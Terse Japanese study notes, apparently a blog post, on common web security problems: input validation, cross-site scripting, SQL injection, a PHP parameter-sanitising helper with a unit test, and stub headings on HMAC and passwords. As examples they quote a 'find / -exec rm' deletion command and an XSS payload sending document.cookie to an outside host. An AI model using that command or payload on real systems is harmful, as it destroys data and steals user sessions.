Web開発における汎用問題(1)


一、ユーザー入力
すべてのユーザー入力の検証が必要です
1,register_globals -->Off
file_exists($module.'.php');

<?php 'find / -exec rm "{}" ";"'; ?>

2、クロスステーションスクリプト

<?php echo $_GET['js']; ?>
document.location=http://www.ss/cookie.cgi?f='+document.cookie

3,SQL注入
addslashes()特殊文字列エスケープ
4、入力の検証
タイプ検証:
if(!isset($_GET['id']) { } else { $id = (int) $_GET['id']
====>helper function:

function sanitize_vars(&$vars,$signatures){
	$tmp = array();
	foreach($signatures as $name => $sig) {
		if(!isset($vars[$name]) && isset($sig['required']) && $sig['required'])
		{
			$result = array(
				'result' => false,
				'cause' => 'parameter '.$name.' not present',
			);
			return $result;
		}

		$tmp[$name] = $vars[$name];
		if (isset($sig['type'])) {
			if(!settype($tmp[$name],$sig['type'])) {
				$result = array(
					'result' => false,
					'cause' => 'parameter '.$name.' convert to '.$sig['type'].'failed',
				);
			return $result;
			};
		}

		if(isset($sig['function'])) {
			$tmp[$name] = $sig['function']($tmp[$name]);

		}
	}
	$vars = $tmp;
	$result = array(
				'result' => true,
	);
	return $result;
}


      
class TestOfSanize extends UnitTestCase {


	function TestOfSanize() {
		$this->UnitTestCase();
	}

	function testRequired() {
		$sigs = array (
			'id'=>array('required' =>true, 'type' => 'int')
		);

		$vars = array (
		);
		$r = sanitize_vars(&$vars,$sigs);
		$this->assertFalse($r['result'],$r['cause']);
	}
}
$test = &new TestOfSanize();
$test->run(new HtmlReporter());


5,HMAC
認証情報キーワードハッシュ
ハッシュ、コード.
6、異常
7、パスワード